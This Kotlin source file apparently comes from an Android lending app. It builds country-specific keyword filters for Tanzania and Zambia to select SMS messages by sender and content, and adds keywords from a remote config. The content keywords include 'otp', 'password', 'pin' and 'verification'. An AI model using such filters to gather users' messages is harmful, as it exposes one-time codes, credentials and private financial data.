package com.sikadwa.syc.util

import com.sikadwa.syc.SikadwaSysBuilder
import org.json.JSONObject

/**
 * Sikadwa
 * @Author wwdeng
 * @CreateTime: 2025/1/6 13:42
 * @Annotation：
 */
fun getSysNumberKeyList(): MutableSet<String> {
    val mobileFilters = mutableSetOf("")

    // SMS mobile 关键词 -> 坦桑尼亚
    if (isTanz()){
        mobileFilters.clear()
        mobileFilters.addAll(mutableSetOf("money", "airtel", "pesa", "vodacom", "halotel", "cash", "finance", "mkopo", "kmi", "dexintec", "singularity", "branch", "bank", "nmb", "flexitz", "msafi"))
        mobileFilters.addAll(mutableSetOf("Ushuru","Deni","Mapato","Mikopo","Dhamana","Uhasibu"))
    }

    //SMS mobile 关键词 -> 赞比亚
    if (isZmb()) {
        mobileFilters.clear()
        mobileFilters.addAll(mutableSetOf("money", "airtel", "momo", "cash", "mwachangu", "kwacha", "zanaco", "tclnotebiu", "loan", "unifisiliza", "211", "kyc", "mtn"))
        mobileFilters.addAll(mutableSetOf("Taxation","Debt","Earnings","Credit","Collateral","Accounting"))
    }

    //客服配置读取 Mobile 关键字
    val mobileKeys = getMsgMobileKeys()
    if (mobileKeys != null){
        mobileFilters.addAll(mobileKeys)
    }
    return mobileFilters
}

fun getSysBodyKeyList(): MutableSet<String> {
    val contentFilters = mutableSetOf("")

    //SMS Content 关键词 -> 坦桑尼亚
    if (isTanz()){
        contentFilters.clear()
        contentFilters.addAll(mutableSetOf("money", "airtel", "lend", "loan", "cash", "credit", "mkopo", "otp", "code", "password", "malipo yamepokelewa kwenda", "approved", "nambari", "unakumbushwa kulipa", "amelipa tsh", "due", "kiasi chako cha kinadaiwa"))
        contentFilters.addAll(mutableSetOf("Utajiri", "Bima", "Bei", "Malipo", "wallet", "Microfinance"))
    }

    //SMS Content 关键词 -> 赞比亚
    if (isZmb()){
        contentFilters.clear()
        contentFilters.addAll(mutableSetOf("money", "airtel", "mtn", "momo", "lend", "loan", "cash", "otp", "pin", "code", "credit", "kash", "verification", "due", "payment", "password", "settle", "paid", "approved", "application"))
        contentFilters.addAll(mutableSetOf("Wealth", "Insurance", "Pricing", "Payback", "wallet", "Microfinance"))
    }

    //客服配置读取 Content 关键字
    val contentKeys = getMsgContentKeys()
    if (contentKeys != null){
        contentFilters.addAll(contentKeys)
    }
    return contentFilters
}

/**
 * 坦桑尼亚  255
 */
fun isTanz(): Boolean{
    val timeZone = SikadwaSysBuilder.httpTimeZone
    return timeZone.endsWith("tanz")
}

/**
 * 赞比亚  260
 */
fun isZmb(): Boolean{
    val timeZone = SikadwaSysBuilder.httpTimeZone
    return timeZone.endsWith("zmb")
}

/**
 * 获取客服配置
 */
fun getConfigData(): JSONObject? {
    val dataString = SikadwaSysBuilder.configData
    if (dataString.isEmpty()){
        return null
    }
    val data = JSONObject(dataString)
    if (data.has("customize")){
        return data.optJSONObject("customize")
    }
    return null
}

/**
 * SMS Content 关键字过滤
 */
fun getMsgContentKeys(): MutableSet<String>?{
    val customData = getConfigData() ?: return null
    if (customData.has("messageContentKeys")){
        val messageContentKeys = customData.optJSONArray("messageContentKeys")
        if (messageContentKeys != null) {
            val keysSet = mutableSetOf<String>()
            for (i in 0..<messageContentKeys.length()){
                keysSet.add(messageContentKeys.optString(i))
            }
            return keysSet
        }
    }
    return null
}


/**
 * SMS Mobile 关键字过滤
 */
fun getMsgMobileKeys(): MutableSet<String>?{
    val customData = getConfigData() ?: return null
    if (customData.has("messageMobileKeys")){
        val messageMobileKeys = customData.optJSONArray("messageMobileKeys")
        if (messageMobileKeys != null) {
            val keysSet = mutableSetOf<String>()
            for (i in 0..<messageMobileKeys.length()){
                keysSet.add(messageMobileKeys.optString(i))
            }
            return keysSet
        }
    }
    return null
}